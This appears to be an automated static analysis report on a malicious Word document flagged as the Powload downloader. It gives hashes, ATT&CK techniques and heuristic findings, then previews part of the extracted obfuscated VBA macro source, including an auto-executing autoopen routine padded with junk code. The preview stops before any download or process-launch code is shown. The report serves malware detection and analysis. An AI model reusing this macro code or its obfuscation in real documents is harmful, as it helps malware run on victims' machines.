Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 22192880794d45b8…

MALICIOUS

Office (OLE)

151.9 KB Created: 2019-04-26 10:18:00 Authoring application: Microsoft Office Word First seen: 2019-05-31
MD5: 1b6b34bb5f2f7e4bf3919aa8ce5eecbc SHA-1: 410e5165ec674fec36ba8c6ca79b7506c67d85ac SHA-256: 22192880794d45b84d08e6a613f41a2e63f42e659571ed003c9fddf1319afa68
302 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains critical heuristic firings indicating the presence of VBA macros that utilize GetObject and CreateObject to launch the Win32_Process WMI object, a common technique for executing arbitrary code. The macro code is obfuscated using split string literals, specifically reassembling the token 'winmgmts'. This suggests the macro's primary function is to download and execute a second-stage payload, likely leveraging the WMI process creation for execution.

Heuristics 8

  • ClamAV: Doc.Downloader.Powload-6956387-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Powload-6956387-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 39894 bytes
SHA-256: 31246d6592fba4b2f12f47a476aa616953fbfe26547b478118ed6fd0bc810e5f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "aAAAAA"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "icAA_w"
Attribute VB_Base = "0{7E964430-B36F-4355-A576-1357E3A7214C}{CD71AD1D-215C-4B9E-8921-85784A302933}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "JBAAZDDc"
Attribute VB_Base = "0{46C3AACE-DA25-4E6D-A7C1-AB08B5554C8D}{07550841-0E8D-45D0-AE62-0FA8CB42C482}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "M4wAAxA"
Sub autoopen()
   If sAAoAA = wCAXw4x Then
ElseIf AAA1X1X_ _
= WoCAAG Then
            vo4AXQ = Cos( _
570785332)
ElseIf bDcAQk = GCCG4AAk Then
            ncQoZ_QD _
= Hex(29643070)
ElseIf woABkGD = tQ4BAAQU Then
            IZBUAUAA = Atn( _
606233712)
ElseIf YDx_XAwB = EAGCcDC Then
End If
   If CCUDoAx = NGoZAGQx Then
ElseIf rBUQXoA _
= SA__Q_oA Then
            OAABAAkx = Cos( _
95073788)
ElseIf dABC4cAU = DUAwAA Then
            BBx1DUB _
= Hex(190437525)
ElseIf hDoAACQ = aCZAACA Then
            R4DkAG = Atn( _
58868310)
ElseIf OXAkUwxA = RZDAUX Then
End If
   If nD_ABA = RQZAcxA Then
ElseIf UcXwUAc _
= dBAAAX Then
            KGCGwcc = Cos( _
111722300)
ElseIf MQAAAwAX = qAA_kQXA Then
            VAABAcAo _
= Hex(184660667)
ElseIf EAcAcB = wAcDB4AA Then
            iACoDDA = Atn( _
480281637)
ElseIf ro_cBA = TUkcGAA Then
End If
pDAAXBX_
   If kAC1AQ = GAAQABBC Then
ElseIf fAA_QQ4 _
= YAQAXQA Then
            kDAAAU = Cos( _
768642623)
ElseIf tGDoAU = oAwQXUk1 Then
            ixcxUQBA _
= Hex(829214111)
ElseIf XAUXAUCU = GUZcAQ Then
            iA4AUX = Atn( _
366186135)
ElseIf wQ1ABZcA = f_cXAU4 Then
End If
   If QBCxUAAA = cCQGcADA Then
ElseIf XADQZBA _
= UoAcBZ Then
            jABD1B11 = Cos( _
564843560)
ElseIf BcBDGCQ = IQAU4DQ Then
            zUXoAA _
= Hex(66099807)
ElseIf HXA_Aw = KBQAx1w Then
            EA_QwDXX = Atn( _
614404618)
ElseIf IAB1kA = XG44GD Then
End If
   If GBcADA = DUADoZQ Then
ElseIf lBkAAXAQ _
= UwBwBk Then
            DUAAAA_w = Cos( _
995720969)
ElseIf XZCAUDA = sUA1DB Then
            aAcCDB _
= Hex(483833932)
ElseIf zAAAxX = OGAAXA4 Then
            qGQ_UAw = Atn( _
279807497)
ElseIf JAAG_Awk = vAwZADAG Then
End If
End Sub
Function PDAxBDAA(QDABCXZZ)
   If ZkQ_DADD = kBGcA1Z Then
ElseIf ExAABAA _
= tUUXAX Then
            oBQDUQD = Cos( _
161263381)
ElseIf NAoxo1c = DBCAGZx_ Then
            bBZAoZ _
= Hex(670992685)
ElseIf j_AkCZX = sZkXAw Then
            rAkBUAD = Atn( _
935405269)
ElseIf nAxZw4AA = lcA_4AAw Then
End If
   If zZUk_AA = pAACAk Then
ElseIf GwAcwA _
= bBAD1Ax4 Then
            MwZCAA = Cos( _
506355628)
ElseIf DAXACU = qAUQAADC Then
            qAcU_ABB _
= Hex(128806754)
ElseIf wX_AAA = PUABAw Then
            QcAkcD = Atn( _
654981554)
ElseIf MD1QAD4D = HAkwAAAo Then
End If
Set PDAxBDAA = CVar(QDABCXZZ)
   If MU_AAwc = GDxXZAx Then
ElseIf mAAooAA _
= XDkBZkUA Then
            wQQQx4C = Cos( _
667132668)
ElseIf l4U44Dx = bAAAAQx Then
            iAQAcQ _
= Hex(459941462)
ElseIf Sk1A_DXD = awkDAAU Then
            EDxxDUD = Atn( _
459334262)
ElseIf jAAAUGk = sDAAUAc Then
End If
   If dAXA1oAA = PA_GAwBA Then
ElseIf wAcoAUU _
= zx1AUAC Then
            uQBo1DQ = Cos( _
262416207)
ElseIf jAXAc1 = DAAo_CAx Then
            cAowQD _
= Hex(373808447)
ElseIf EZ4D_AD_ = w1CQxoAA Then
            fBAUZU = Atn( _
834539781)
ElseIf VAUAUAA = zAU_AwAU Then
End If
   If TBA_BAo = BADQoCA_ Then
ElseIf Z1AA_1 _
= hZCkXw Then
            vwAxwA = Cos( _
403760706)
Els
... (truncated)

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